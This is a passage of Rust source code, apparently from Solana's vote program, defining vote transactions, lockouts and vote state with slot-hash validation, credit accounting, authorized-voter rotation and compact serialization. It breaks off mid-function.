1#[cfg(test)]
4use solana_sdk::epoch_schedule::MAX_LEADER_SCHEDULE_EPOCH_OFFSET;
5use {
6 crate::{authorized_voters::AuthorizedVoters, id, vote_error::VoteError},
7 bincode::{deserialize, serialize_into, ErrorKind},
8 log::*,
9 serde_derive::{Deserialize, Serialize},
10 solana_metrics::datapoint_debug,
11 solana_sdk::{
12 account::{AccountSharedData, ReadableAccount, WritableAccount},
13 clock::{Epoch, Slot, UnixTimestamp},
14 epoch_schedule::EpochSchedule,
15 feature_set::{self, filter_votes_outside_slot_hashes, FeatureSet},
16 hash::Hash,
17 instruction::InstructionError,
18 pubkey::Pubkey,
19 rent::Rent,
20 slot_hashes::SlotHash,
21 sysvar::clock::Clock,
22 transaction_context::{BorrowedAccount, InstructionContext, TransactionContext},
23 },
24 std::{
25 cmp::Ordering,
26 collections::{HashSet, VecDeque},
27 fmt::Debug,
28 },
29};
30
31mod vote_state_0_23_5;
32pub mod vote_state_versions;
33pub use vote_state_versions::*;
34
35pub const MAX_LOCKOUT_HISTORY: usize = 31;
37pub const INITIAL_LOCKOUT: usize = 2;
38
39pub const MAX_EPOCH_CREDITS_HISTORY: usize = 64;
41
42const DEFAULT_PRIOR_VOTERS_OFFSET: usize = 82;
44
45#[frozen_abi(digest = "4RSrLCthxW7e6KgpzDCf1kQUxa2v2aCg9mxn3975V7bm")]
46#[derive(Debug, PartialEq, Eq, Clone, Serialize, Deserialize, AbiEnumVisitor, AbiExample)]
47pub enum VoteTransaction {
48 Vote(Vote),
49 VoteStateUpdate(VoteStateUpdate),
50 #[serde(with = "serde_compact_vote_state_update")]
51 CompactVoteStateUpdate(VoteStateUpdate),
52}
53
54impl VoteTransaction {
55 pub fn slots(&self) -> Vec<Slot> {
56 match self {
57 VoteTransaction::Vote(vote) => vote.slots.clone(),
58 VoteTransaction::VoteStateUpdate(vote_state_update) => vote_state_update.slots(),
59 VoteTransaction::CompactVoteStateUpdate(vote_state_update) => vote_state_update.slots(),
60 }
61 }
62
63 pub fn slot(&self, i: usize) -> Slot {
64 match self {
65 VoteTransaction::Vote(vote) => vote.slots[i],
66 VoteTransaction::VoteStateUpdate(vote_state_update)
67 | VoteTransaction::CompactVoteStateUpdate(vote_state_update) => {
68 vote_state_update.lockouts[i].slot
69 }
70 }
71 }
72
73 pub fn len(&self) -> usize {
74 match self {
75 VoteTransaction::Vote(vote) => vote.slots.len(),
76 VoteTransaction::VoteStateUpdate(vote_state_update)
77 | VoteTransaction::CompactVoteStateUpdate(vote_state_update) => {
78 vote_state_update.lockouts.len()
79 }
80 }
81 }
82
83 pub fn is_empty(&self) -> bool {
84 match self {
85 VoteTransaction::Vote(vote) => vote.slots.is_empty(),
86 VoteTransaction::VoteStateUpdate(vote_state_update)
87 | VoteTransaction::CompactVoteStateUpdate(vote_state_update) => {
88 vote_state_update.lockouts.is_empty()
89 }
90 }
91 }
92
93 pub fn hash(&self) -> Hash {
94 match self {
95 VoteTransaction::Vote(vote) => vote.hash,
96 VoteTransaction::VoteStateUpdate(vote_state_update) => vote_state_update.hash,
97 VoteTransaction::CompactVoteStateUpdate(vote_state_update) => vote_state_update.hash,
98 }
99 }
100
101 pub fn timestamp(&self) -> Option<UnixTimestamp> {
102 match self {
103 VoteTransaction::Vote(vote) => vote.timestamp,
104 VoteTransaction::VoteStateUpdate(vote_state_update)
105 | VoteTransaction::CompactVoteStateUpdate(vote_state_update) => {
106 vote_state_update.timestamp
107 }
108 }
109 }
110
111 pub fn set_timestamp(&mut self, ts: Option<UnixTimestamp>) {
112 match self {
113 VoteTransaction::Vote(vote) => vote.timestamp = ts,
114 VoteTransaction::VoteStateUpdate(vote_state_update)
115 | VoteTransaction::CompactVoteStateUpdate(vote_state_update) => {
116 vote_state_update.timestamp = ts
117 }
118 }
119 }
120
121 pub fn last_voted_slot(&self) -> Option<Slot> {
122 match self {
123 VoteTransaction::Vote(vote) => vote.slots.last().copied(),
124 VoteTransaction::VoteStateUpdate(vote_state_update)
125 | VoteTransaction::CompactVoteStateUpdate(vote_state_update) => {
126 Some(vote_state_update.lockouts.back()?.slot)
127 }
128 }
129 }
130
131 pub fn last_voted_slot_hash(&self) -> Option<(Slot, Hash)> {
132 Some((self.last_voted_slot()?, self.hash()))
133 }
134}
135
136impl From<Vote> for VoteTransaction {
137 fn from(vote: Vote) -> Self {
138 VoteTransaction::Vote(vote)
139 }
140}
141
142impl From<VoteStateUpdate> for VoteTransaction {
143 fn from(vote_state_update: VoteStateUpdate) -> Self {
144 VoteTransaction::VoteStateUpdate(vote_state_update)
145 }
146}
147
148#[frozen_abi(digest = "Ch2vVEwos2EjAVqSHCyJjnN2MNX1yrpapZTGhMSCjWUH")]
149#[derive(Serialize, Default, Deserialize, Debug, PartialEq, Eq, Clone, AbiExample)]
150pub struct Vote {
151 pub slots: Vec<Slot>,
153 pub hash: Hash,
155 pub timestamp: Option<UnixTimestamp>,
157}
158
159impl Vote {
160 pub fn new(slots: Vec<Slot>, hash: Hash) -> Self {
161 Self {
162 slots,
163 hash,
164 timestamp: None,
165 }
166 }
167}
168
169#[derive(Serialize, Default, Deserialize, Debug, PartialEq, Eq, Copy, Clone, AbiExample)]
170pub struct Lockout {
171 pub slot: Slot,
172 pub confirmation_count: u32,
173}
174
175impl Lockout {
176 pub fn new(slot: Slot) -> Self {
177 Self {
178 slot,
179 confirmation_count: 1,
180 }
181 }
182
183 pub fn lockout(&self) -> u64 {
185 (INITIAL_LOCKOUT as u64).pow(self.confirmation_count)
186 }
187
188 pub fn last_locked_out_slot(&self) -> Slot {
192 self.slot + self.lockout()
193 }
194
195 pub fn is_locked_out_at_slot(&self, slot: Slot) -> bool {
196 self.last_locked_out_slot() >= slot
197 }
198}
199
200#[frozen_abi(digest = "BctadFJjUKbvPJzr6TszbX6rBfQUNSRKpKKngkzgXgeY")]
201#[derive(Serialize, Default, Deserialize, Debug, PartialEq, Eq, Clone, AbiExample)]
202pub struct VoteStateUpdate {
203 pub lockouts: VecDeque<Lockout>,
205 pub root: Option<Slot>,
207 pub hash: Hash,
209 pub timestamp: Option<UnixTimestamp>,
211}
212
213impl From<Vec<(Slot, u32)>> for VoteStateUpdate {
214 fn from(recent_slots: Vec<(Slot, u32)>) -> Self {
215 let lockouts: VecDeque<Lockout> = recent_slots
216 .into_iter()
217 .map(|(slot, confirmation_count)| Lockout {
218 slot,
219 confirmation_count,
220 })
221 .collect();
222 Self {
223 lockouts,
224 root: None,
225 hash: Hash::default(),
226 timestamp: None,
227 }
228 }
229}
230
231impl VoteStateUpdate {
232 pub fn new(lockouts: VecDeque<Lockout>, root: Option<Slot>, hash: Hash) -> Self {
233 Self {
234 lockouts,
235 root,
236 hash,
237 timestamp: None,
238 }
239 }
240
241 pub fn slots(&self) -> Vec<Slot> {
242 self.lockouts.iter().map(|lockout| lockout.slot).collect()
243 }
244}
245
246#[derive(Default, Serialize, Deserialize, Debug, PartialEq, Eq, Clone, Copy)]
247pub struct VoteInit {
248 pub node_pubkey: Pubkey,
249 pub authorized_voter: Pubkey,
250 pub authorized_withdrawer: Pubkey,
251 pub commission: u8,
252}
253
254#[derive(Serialize, Deserialize, Debug, PartialEq, Eq, Clone, Copy)]
255pub enum VoteAuthorize {
256 Voter,
257 Withdrawer,
258}
259
260#[derive(Debug, Serialize, Deserialize, PartialEq, Eq, Clone)]
261pub struct VoteAuthorizeWithSeedArgs {
262 pub authorization_type: VoteAuthorize,
263 pub current_authority_derived_key_owner: Pubkey,
264 pub current_authority_derived_key_seed: String,
265 pub new_authority: Pubkey,
266}
267
268#[derive(Debug, Serialize, Deserialize, PartialEq, Eq, Clone)]
269pub struct VoteAuthorizeCheckedWithSeedArgs {
270 pub authorization_type: VoteAuthorize,
271 pub current_authority_derived_key_owner: Pubkey,
272 pub current_authority_derived_key_seed: String,
273}
274
275#[derive(Debug, Default, Serialize, Deserialize, PartialEq, Eq, Clone, AbiExample)]
276pub struct BlockTimestamp {
277 pub slot: Slot,
278 pub timestamp: UnixTimestamp,
279}
280
281const MAX_ITEMS: usize = 32;
283
284#[derive(Debug, Serialize, Deserialize, PartialEq, Eq, Clone, AbiExample)]
285pub struct CircBuf<I> {
286 buf: [I; MAX_ITEMS],
287 idx: usize,
289 is_empty: bool,
290}
291
292impl<I: Default + Copy> Default for CircBuf<I> {
293 fn default() -> Self {
294 Self {
295 buf: [I::default(); MAX_ITEMS],
296 idx: MAX_ITEMS - 1,
297 is_empty: true,
298 }
299 }
300}
301
302impl<I> CircBuf<I> {
303 pub fn append(&mut self, item: I) {
304 self.idx += 1;
306 self.idx %= MAX_ITEMS;
307
308 self.buf[self.idx] = item;
309 self.is_empty = false;
310 }
311
312 pub fn buf(&self) -> &[I; MAX_ITEMS] {
313 &self.buf
314 }
315
316 pub fn last(&self) -> Option<&I> {
317 if !self.is_empty {
318 Some(&self.buf[self.idx])
319 } else {
320 None
321 }
322 }
323}
324
325#[frozen_abi(digest = "331ZmXrmsUcwbKhzR3C1UEU6uNwZr48ExE54JDKGWA4w")]
326#[derive(Debug, Default, Serialize, Deserialize, PartialEq, Eq, Clone, AbiExample)]
327pub struct VoteState {
328 pub node_pubkey: Pubkey,
330
331 pub authorized_withdrawer: Pubkey,
333 pub commission: u8,
336
337 pub votes: VecDeque<Lockout>,
338
339 pub root_slot: Option<Slot>,
342
343 authorized_voters: AuthorizedVoters,
345
346 prior_voters: CircBuf<(Pubkey, Epoch, Epoch)>,
350
351 pub epoch_credits: Vec<(Epoch, u64, u64)>,
354
355 pub last_timestamp: BlockTimestamp,
357}
358
359impl VoteState {
360 pub fn new(vote_init: &VoteInit, clock: &Clock) -> Self {
361 Self {
362 node_pubkey: vote_init.node_pubkey,
363 authorized_voters: AuthorizedVoters::new(clock.epoch, vote_init.authorized_voter),
364 authorized_withdrawer: vote_init.authorized_withdrawer,
365 commission: vote_init.commission,
366 ..VoteState::default()
367 }
368 }
369
370 pub fn get_authorized_voter(&self, epoch: Epoch) -> Option<Pubkey> {
371 self.authorized_voters.get_authorized_voter(epoch)
372 }
373
374 pub fn authorized_voters(&self) -> &AuthorizedVoters {
375 &self.authorized_voters
376 }
377
378 pub fn prior_voters(&mut self) -> &CircBuf<(Pubkey, Epoch, Epoch)> {
379 &self.prior_voters
380 }
381
382 pub fn get_rent_exempt_reserve(rent: &Rent) -> u64 {
383 rent.minimum_balance(VoteState::size_of())
384 }
385
386 pub const fn size_of() -> usize {
389 3731 }
391
392 pub fn from<T: ReadableAccount>(account: &T) -> Option<VoteState> {
394 Self::deserialize(account.data()).ok()
395 }
396
397 pub fn to<T: WritableAccount>(versioned: &VoteStateVersions, account: &mut T) -> Option<()> {
399 Self::serialize(versioned, account.data_as_mut_slice()).ok()
400 }
401
402 pub fn deserialize(input: &[u8]) -> Result<Self, InstructionError> {
403 deserialize::<VoteStateVersions>(input)
404 .map(|versioned| versioned.convert_to_current())
405 .map_err(|_| InstructionError::InvalidAccountData)
406 }
407
408 pub fn serialize(
409 versioned: &VoteStateVersions,
410 output: &mut [u8],
411 ) -> Result<(), InstructionError> {
412 serialize_into(output, versioned).map_err(|err| match *err {
413 ErrorKind::SizeLimit => InstructionError::AccountDataTooSmall,
414 _ => InstructionError::GenericError,
415 })
416 }
417
418 pub fn credits_from<T: ReadableAccount>(account: &T) -> Option<u64> {
419 Self::from(account).map(|state| state.credits())
420 }
421
422 pub fn commission_split(&self, on: u64) -> (u64, u64, bool) {
427 match self.commission.min(100) {
428 0 => (0, on, false),
429 100 => (on, 0, false),
430 split => {
431 let on = u128::from(on);
432 let mine = on * u128::from(split) / 100u128;
438 let theirs = on * u128::from(100 - split) / 100u128;
439
440 (mine as u64, theirs as u64, true)
441 }
442 }
443 }
444
445 pub fn contains_slot(&self, candidate_slot: Slot) -> bool {
447 self.votes
448 .binary_search_by(|lockout| lockout.slot.cmp(&candidate_slot))
449 .is_ok()
450 }
451
452 #[cfg(test)]
453 fn get_max_sized_vote_state() -> VoteState {
454 let mut authorized_voters = AuthorizedVoters::default();
455 for i in 0..=MAX_LEADER_SCHEDULE_EPOCH_OFFSET {
456 authorized_voters.insert(i, solana_sdk::pubkey::new_rand());
457 }
458
459 VoteState {
460 votes: VecDeque::from(vec![Lockout::default(); MAX_LOCKOUT_HISTORY]),
461 root_slot: Some(std::u64::MAX),
462 epoch_credits: vec![(0, 0, 0); MAX_EPOCH_CREDITS_HISTORY],
463 authorized_voters,
464 ..Self::default()
465 }
466 }
467
468 fn check_update_vote_state_slots_are_valid(
469 &self,
470 vote_state_update: &mut VoteStateUpdate,
471 slot_hashes: &[(Slot, Hash)],
472 feature_set: Option<&FeatureSet>,
473 ) -> Result<(), VoteError> {
474 if vote_state_update.lockouts.is_empty() {
475 return Err(VoteError::EmptySlots);
476 }
477
478 if let Some(last_vote_slot) = self.votes.back().map(|lockout| lockout.slot) {
480 if vote_state_update.lockouts.back().unwrap().slot <= last_vote_slot {
481 return Err(VoteError::VoteTooOld);
482 }
483 }
484
485 let last_vote_state_update_slot = vote_state_update
486 .lockouts
487 .back()
488 .expect("must be nonempty, checked above")
489 .slot;
490
491 if slot_hashes.is_empty() {
492 return Err(VoteError::SlotsMismatch);
493 }
494 let earliest_slot_hash_in_history = slot_hashes.last().unwrap().0;
495
496 if last_vote_state_update_slot < earliest_slot_hash_in_history {
498 return Err(VoteError::VoteTooOld);
501 }
502
503 let is_root_fix_enabled = feature_set
505 .map(|feature_set| {
506 feature_set.is_active(&feature_set::vote_state_update_root_fix::id())
507 })
508 .unwrap_or(false);
509
510 let original_proposed_root = vote_state_update.root;
511 if let Some(new_proposed_root) = original_proposed_root {
512 if earliest_slot_hash_in_history > new_proposed_root {
516 vote_state_update.root = self.root_slot;
517 if is_root_fix_enabled {
518 let mut prev_slot = Slot::MAX;
519 let current_root = vote_state_update.root;
520 for lockout in self.votes.iter().rev() {
521 let is_slot_bigger_than_root = current_root
522 .map(|current_root| lockout.slot > current_root)
523 .unwrap_or(true);
524 assert!(lockout.slot < prev_slot && is_slot_bigger_than_root);
527 if lockout.slot <= new_proposed_root {
528 vote_state_update.root = Some(lockout.slot);
529 break;
530 }
531 prev_slot = lockout.slot;
532 }
533 }
534 }
535 }
536
537 let mut root_to_check = vote_state_update.root;
541 let mut vote_state_update_index = 0;
542
543 let mut slot_hashes_index = slot_hashes.len();
546
547 let mut vote_state_update_indexes_to_filter = vec![];
548
549 while vote_state_update_index < vote_state_update.lockouts.len() && slot_hashes_index > 0 {
562 let proposed_vote_slot = if let Some(root) = root_to_check {
563 root
564 } else {
565 vote_state_update.lockouts[vote_state_update_index].slot
566 };
567 if root_to_check.is_none()
568 && vote_state_update_index > 0
569 && proposed_vote_slot
570 <= vote_state_update.lockouts[vote_state_update_index - 1].slot
571 {
572 return Err(VoteError::SlotsNotOrdered);
573 }
574 let ancestor_slot = slot_hashes[slot_hashes_index - 1].0;
575
576 match proposed_vote_slot.cmp(&ancestor_slot) {
579 Ordering::Less => {
580 if slot_hashes_index == slot_hashes.len() {
581 assert!(proposed_vote_slot < earliest_slot_hash_in_history);
584 if !self.contains_slot(proposed_vote_slot) && root_to_check.is_none() {
585 vote_state_update_indexes_to_filter.push(vote_state_update_index);
591 }
592 if let Some(new_proposed_root) = root_to_check {
593 if is_root_fix_enabled {
594 assert_eq!(new_proposed_root, proposed_vote_slot);
598 assert!(new_proposed_root < earliest_slot_hash_in_history);
602 } else {
603 assert!(self.root_slot.unwrap() < earliest_slot_hash_in_history);
607 }
608 root_to_check = None;
609 } else {
610 vote_state_update_index += 1;
611 }
612 continue;
613 } else {
614 if root_to_check.is_some() {
618 return Err(VoteError::RootOnDifferentFork);
619 } else {
620 return Err(VoteError::SlotsMismatch);
621 }
622 }
623 }
624 Ordering::Greater => {
625 slot_hashes_index -= 1;
627 continue;
628 }
629 Ordering::Equal => {
630 if root_to_check.is_some() {
634 root_to_check = None;
635 } else {
636 vote_state_update_index += 1;
637 slot_hashes_index -= 1;
638 }
639 }
640 }
641 }
642
643 if vote_state_update_index != vote_state_update.lockouts.len() {
644 return Err(VoteError::SlotsMismatch);
646 }
647
648 assert_eq!(
671 last_vote_state_update_slot,
672 slot_hashes[slot_hashes_index].0
673 );
674
675 if slot_hashes[slot_hashes_index].1 != vote_state_update.hash {
676 warn!(
680 "{} dropped vote {:?} failed to match hash {} {}",
681 self.node_pubkey,
682 vote_state_update,
683 vote_state_update.hash,
684 slot_hashes[slot_hashes_index].1
685 );
686 inc_new_counter_info!("dropped-vote-hash", 1);
687 return Err(VoteError::SlotHashMismatch);
688 }
689
690 let mut vote_state_update_index = 0;
692 let mut filter_votes_index = 0;
693 vote_state_update.lockouts.retain(|_lockout| {
694 let should_retain = if filter_votes_index == vote_state_update_indexes_to_filter.len() {
695 true
696 } else if vote_state_update_index
697 == vote_state_update_indexes_to_filter[filter_votes_index]
698 {
699 filter_votes_index += 1;
700 false
701 } else {
702 true
703 };
704
705 vote_state_update_index += 1;
706 should_retain
707 });
708
709 Ok(())
710 }
711
712 fn check_slots_are_valid(
713 &self,
714 vote_slots: &[Slot],
715 vote_hash: &Hash,
716 slot_hashes: &[(Slot, Hash)],
717 ) -> Result<(), VoteError> {
718 let mut i = 0;
721
722 let mut j = slot_hashes.len();
725
726 while i < vote_slots.len() && j > 0 {
735 if self
738 .last_voted_slot()
739 .map_or(false, |last_voted_slot| vote_slots[i] <= last_voted_slot)
740 {
741 i += 1;
742 continue;
743 }
744
745 if vote_slots[i] != slot_hashes[j - 1].0 {
747 j -= 1;
749 continue;
750 }
751
752 i += 1;
755 j -= 1;
756 }
757
758 if j == slot_hashes.len() {
759 debug!(
763 "{} dropped vote slots {:?}, vote hash: {:?} slot hashes:SlotHash {:?}, too old ",
764 self.node_pubkey, vote_slots, vote_hash, slot_hashes
765 );
766 return Err(VoteError::VoteTooOld);
767 }
768 if i != vote_slots.len() {
769 info!(
772 "{} dropped vote slots {:?} failed to match slot hashes: {:?}",
773 self.node_pubkey, vote_slots, slot_hashes,
774 );
775 inc_new_counter_info!("dropped-vote-slot", 1);
776 return Err(VoteError::SlotsMismatch);
777 }
778 if &slot_hashes[j].1 != vote_hash {
779 warn!(
783 "{} dropped vote slots {:?} failed to match hash {} {}",
784 self.node_pubkey, vote_slots, vote_hash, slot_hashes[j].1
785 );
786 inc_new_counter_info!("dropped-vote-hash", 1);
787 return Err(VoteError::SlotHashMismatch);
788 }
789 Ok(())
790 }
791
792 pub fn process_new_vote_state(
830 &mut self,
831 new_state: VecDeque<Lockout>,
832 new_root: Option<Slot>,
833 timestamp: Option<i64>,
834 epoch: Epoch,
835 feature_set: Option<&FeatureSet>,
836 ) -> Result<(), VoteError> {
837 assert!(!new_state.is_empty());
838 if new_state.len() > MAX_LOCKOUT_HISTORY {
839 return Err(VoteError::TooManyVotes);
840 }
841
842 match (new_root, self.root_slot) {
843 (Some(new_root), Some(current_root)) => {
844 if new_root < current_root {
845 return Err(VoteError::RootRollBack);
846 }
847 }
848 (None, Some(_)) => {
849 return Err(VoteError::RootRollBack);
850 }
851 _ => (),
852 }
853
854 let mut previous_vote: Option<&Lockout> = None;
855
856 for vote in &new_state {
861 if vote.confirmation_count == 0 {
862 return Err(VoteError::ZeroConfirmations);
863 } else if vote.confirmation_count > MAX_LOCKOUT_HISTORY as u32 {
864 return Err(VoteError::ConfirmationTooLarge);
865 } else if let Some(new_root) = new_root {
866 if vote.slot <= new_root
867 &&
868 new_root != Slot::default()
873 {
874 return Err(VoteError::SlotSmallerThanRoot);
875 }
876 }
877
878 if let Some(previous_vote) = previous_vote {
879 if previous_vote.slot >= vote.slot {
880 return Err(VoteError::SlotsNotOrdered);
881 } else if previous_vote.confirmation_count <= vote.confirmation_count {
882 return Err(VoteError::ConfirmationsNotOrdered);
883 } else if vote.slot > previous_vote.last_locked_out_slot() {
884 return Err(VoteError::NewVoteStateLockoutMismatch);
885 }
886 }
887 previous_vote = Some(vote);
888 }
889
890 let mut current_vote_state_index = 0;
893 let mut new_vote_state_index = 0;
894
895 let mut finalized_slot_count = 1_u64;
902
903 for current_vote in &self.votes {
904 if let Some(new_root) = new_root {
907 if current_vote.slot <= new_root {
908 current_vote_state_index += 1;
909 if current_vote.slot != new_root {
910 finalized_slot_count += 1;
911 }
912 continue;
913 }
914 }
915
916 break;
917 }
918
919 while current_vote_state_index < self.votes.len() && new_vote_state_index < new_state.len()
922 {
923 let current_vote = &self.votes[current_vote_state_index];
924 let new_vote = &new_state[new_vote_state_index];
925
926 match current_vote.slot.cmp(&new_vote.slot) {
930 Ordering::Less => {
931 if current_vote.last_locked_out_slot() >= new_vote.slot {
932 return Err(VoteError::LockoutConflict);
933 }
934 current_vote_state_index += 1;
935 }
936 Ordering::Equal => {
937 if new_vote.confirmation_count < current_vote.confirmation_count {
940 return Err(VoteError::ConfirmationRollBack);
941 }
942
943 current_vote_state_index += 1;
944 new_vote_state_index += 1;
945 }
946 Ordering::Greater => {
947 new_vote_state_index += 1;
948 }
949 }
950 }
951
952 if self.root_slot != new_root {
955 if feature_set
957 .map(|feature_set| {
958 feature_set.is_active(&feature_set::vote_state_update_credit_per_dequeue::id())
959 })
960 .unwrap_or(false)
961 {
962 self.increment_credits(epoch, finalized_slot_count);
965 } else {
966 self.increment_credits(epoch, 1);
967 }
968 }
969 if let Some(timestamp) = timestamp {
970 let last_slot = new_state.back().unwrap().slot;
971 self.process_timestamp(last_slot, timestamp)?;
972 }
973 self.root_slot = new_root;
974 self.votes = new_state;
975 Ok(())
976 }
977
978 pub fn process_vote(
979 &mut self,
980 vote: &Vote,
981 slot_hashes: &[SlotHash],
982 epoch: Epoch,
983 feature_set: Option<&FeatureSet>,
984 ) -> Result<(), VoteError> {
985 if vote.slots.is_empty() {
986 return Err(VoteError::EmptySlots);
987 }
988 let filtered_vote_slots = feature_set.and_then(|feature_set| {
989 if feature_set.is_active(&filter_votes_outside_slot_hashes::id()) {
990 let earliest_slot_in_history =
991 slot_hashes.last().map(|(slot, _hash)| *slot).unwrap_or(0);
992 Some(
993 vote.slots
994 .iter()
995 .filter(|slot| **slot >= earliest_slot_in_history)
996 .cloned()
997 .collect::<Vec<Slot>>(),
998 )
999 } else {
1000 None
1001 }
1002 });
1003
1004 let vote_slots = filtered_vote_slots.as_ref().unwrap_or(&vote.slots);
1005 if vote_slots.is_empty() {
1006 return Err(VoteError::VotesTooOldAllFiltered);
1007 }
1008
1009 self.check_slots_are_valid(vote_slots, &vote.hash, slot_hashes)?;
1010
1011 vote_slots
1012 .iter()
1013 .for_each(|s| self.process_next_vote_slot(*s, epoch));
1014 Ok(())
1015 }
1016
1017 pub fn process_next_vote_slot(&mut self, next_vote_slot: Slot, epoch: Epoch) {
1018 if self
1020 .last_voted_slot()
1021 .map_or(false, |last_voted_slot| next_vote_slot <= last_voted_slot)
1022 {
1023 return;
1024 }
1025
1026 let vote = Lockout::new(next_vote_slot);
1027
1028 self.pop_expired_votes(next_vote_slot);
1029
1030 if self.votes.len() == MAX_LOCKOUT_HISTORY {
1032 let vote = self.votes.pop_front().unwrap();
1033 self.root_slot = Some(vote.slot);
1034
1035 self.increment_credits(epoch, 1);
1036 }
1037 self.votes.push_back(vote);
1038 self.double_lockouts();
1039 }
1040
1041 pub fn increment_credits(&mut self, epoch: Epoch, credits: u64) {
1043 if self.epoch_credits.is_empty() {
1047 self.epoch_credits.push((epoch, 0, 0));
1048 } else if epoch != self.epoch_credits.last().unwrap().0 {
1049 let (_, credits, prev_credits) = *self.epoch_credits.last().unwrap();
1050
1051 if credits != prev_credits {
1052 self.epoch_credits.push((epoch, credits, credits));
1055 } else {
1056 self.epoch_credits.last_mut().unwrap().0 = epoch;
1058 }
1059
1060 if self.epoch_credits.len() > MAX_EPOCH_CREDITS_HISTORY {
1062 self.epoch_credits.remove(0);
1063 }
1064 }
1065
1066 self.epoch_credits.last_mut().unwrap().1 += credits;
1067 }
1068
1069 pub fn process_vote_unchecked(&mut self, vote: Vote) {
1071 let slot_hashes: Vec<_> = vote.slots.iter().rev().map(|x| (*x, vote.hash)).collect();
1072 let _ignored = self.process_vote(&vote, &slot_hashes, self.current_epoch(), None);
1073 }
1074
1075 #[cfg(test)]
1076 pub fn process_slot_votes_unchecked(&mut self, slots: &[Slot]) {
1077 for slot in slots {
1078 self.process_slot_vote_unchecked(*slot);
1079 }
1080 }
1081
1082 pub fn process_slot_vote_unchecked(&mut self, slot: Slot) {
1083 self.process_vote_unchecked(Vote::new(vec![slot], Hash::default()));
1084 }
1085
1086 pub fn nth_recent_vote(&self, position: usize) -> Option<&Lockout> {
1087 if position < self.votes.len() {
1088 let pos = self.votes.len() - 1 - position;
1089 self.votes.get(pos)
1090 } else {
1091 None
1092 }
1093 }
1094
1095 pub fn last_lockout(&self) -> Option<&Lockout> {
1096 self.votes.back()
1097 }
1098
1099 pub fn last_voted_slot(&self) -> Option<Slot> {
1100 self.last_lockout().map(|v| v.slot)
1101 }
1102
1103 pub fn tower(&self) -> Vec<Slot> {
1106 self.votes.iter().map(|v| v.slot).collect()
1107 }
1108
1109 pub fn current_epoch(&self) -> Epoch {
1110 if self.epoch_credits.is_empty() {
1111 0
1112 } else {
1113 self.epoch_credits.last().unwrap().0
1114 }
1115 }
1116
1117 pub fn credits(&self) -> u64 {
1120 if self.epoch_credits.is_empty() {
1121 0
1122 } else {
1123 self.epoch_credits.last().unwrap().1
1124 }
1125 }
1126
1127 pub fn epoch_credits(&self) -> &Vec<(Epoch, u64, u64)> {
1133 &self.epoch_credits
1134 }
1135
1136 fn set_new_authorized_voter<F>(
1137 &mut self,
1138 authorized_pubkey: &Pubkey,
1139 current_epoch: Epoch,
1140 target_epoch: Epoch,
1141 verify: F,
1142 ) -> Result<(), InstructionError>
1143 where
1144 F: Fn(Pubkey) -> Result<(), InstructionError>,
1145 {
1146 let epoch_authorized_voter = self.get_and_update_authorized_voter(current_epoch)?;
1147 verify(epoch_authorized_voter)?;
1148
1149 if self.authorized_voters.contains(target_epoch) {
1155 return Err(VoteError::TooSoonToReauthorize.into());
1156 }
1157
1158 let (latest_epoch, latest_authorized_pubkey) = self
1160 .authorized_voters
1161 .last()
1162 .ok_or(InstructionError::InvalidAccountData)?;
1163
1164 if latest_authorized_pubkey != authorized_pubkey {
1168 let epoch_of_last_authorized_switch =
1170 self.prior_voters.last().map(|range| range.2).unwrap_or(0);
1171
1172 assert!(target_epoch > *latest_epoch);
1179
1180 self.prior_voters.append((
1182 *latest_authorized_pubkey,
1183 epoch_of_last_authorized_switch,
1184 target_epoch,
1185 ));
1186 }
1187
1188 self.authorized_voters
1189 .insert(target_epoch, *authorized_pubkey);
1190
1191 Ok(())
1192 }
1193
1194 fn get_and_update_authorized_voter(
1195 &mut self,
1196 current_epoch: Epoch,
1197 ) -> Result<Pubkey, InstructionError> {
1198 let pubkey = self
1199 .authorized_voters
1200 .get_and_cache_authorized_voter_for_epoch(current_epoch)
1201 .ok_or(InstructionError::InvalidAccountData)?;
1202 self.authorized_voters
1203 .purge_authorized_voters(current_epoch);
1204 Ok(pubkey)
1205 }
1206
1207 fn pop_expired_votes(&mut self, next_vote_slot: Slot) {
1212 while let Some(vote) = self.last_lockout() {
1213 if !vote.is_locked_out_at_slot(next_vote_slot) {
1214 self.votes.pop_back();
1215 } else {
1216 break;
1217 }
1218 }
1219 }
1220
1221 fn double_lockouts(&mut self) {
1222 let stack_depth = self.votes.len();
1223 for (i, v) in self.votes.iter_mut().enumerate() {
1224 if stack_depth > i + v.confirmation_count as usize {
1227 v.confirmation_count += 1;
1228 }
1229 }
1230 }
1231
1232 pub fn process_timestamp(
1233 &mut self,
1234 slot: Slot,
1235 timestamp: UnixTimestamp,
1236 ) -> Result<(), VoteError> {
1237 if (slot < self.last_timestamp.slot || timestamp < self.last_timestamp.timestamp)
1238 || (slot == self.last_timestamp.slot
1239 && BlockTimestamp { slot, timestamp } != self.last_timestamp
1240 && self.last_timestamp.slot != 0)
1241 {
1242 return Err(VoteError::TimestampTooOld);
1243 }
1244 self.last_timestamp = BlockTimestamp { slot, timestamp };
1245 Ok(())
1246 }
1247
1248 pub fn is_correct_size_and_initialized(data: &[u8]) -> bool {
1249 const VERSION_OFFSET: usize = 4;
1250 data.len() == VoteState::size_of()
1251 && data[VERSION_OFFSET..VERSION_OFFSET + DEFAULT_PRIOR_VOTERS_OFFSET]
1252 != [0; DEFAULT_PRIOR_VOTERS_OFFSET]
1253 }
1254}
1255
1256pub mod serde_compact_vote_state_update {
1257 use {
1258 super::*,
1259 serde::{Deserialize, Deserializer, Serialize, Serializer},
1260 solana_sdk::{serde_varint, short_vec},
1261 };
1262
1263 #[derive(Deserialize, Serialize, AbiExample)]
1264 struct LockoutOffset {
1265 #[serde(with = "serde_varint")]
1266 offset: Slot,
1267 confirmation_count: u8,
1268 }
1269
1270 #[derive(Deserialize, Serialize)]
1271 struct CompactVoteStateUpdate {
1272 root: Slot,
1273 #[serde(with = "short_vec")]
1274 lockout_offsets: Vec<LockoutOffset>,
1275 hash: Hash,
1276 timestamp: Option<UnixTimestamp>,
1277 }
1278
1279 pub fn serialize<S>(
1280 vote_state_update: &VoteStateUpdate,
1281 serializer: S,
1282 ) -> Result<S::Ok, S::Error>
1283 where
1284 S: Serializer,
1285 {
1286 let lockout_offsets = vote_state_update.lockouts.iter().scan(
1287 vote_state_update.root.unwrap_or_default(),
1288 |slot, lockout| {
1289 let offset = match lockout.slot.checked_sub(*slot) {
1290 None => return Some(Err(serde::ser::Error::custom("Invalid vote lockout"))),
1291 Some(offset) => offset,
1292 };
1293 let confirmation_count = match u8::try_from(lockout.confirmation_count) {
1294 Ok(confirmation_count) => confirmation_count,
1295 Err(_) => {
1296 return Some(Err(serde::ser::Error::custom("Invalid confirmation count")))
1297 }
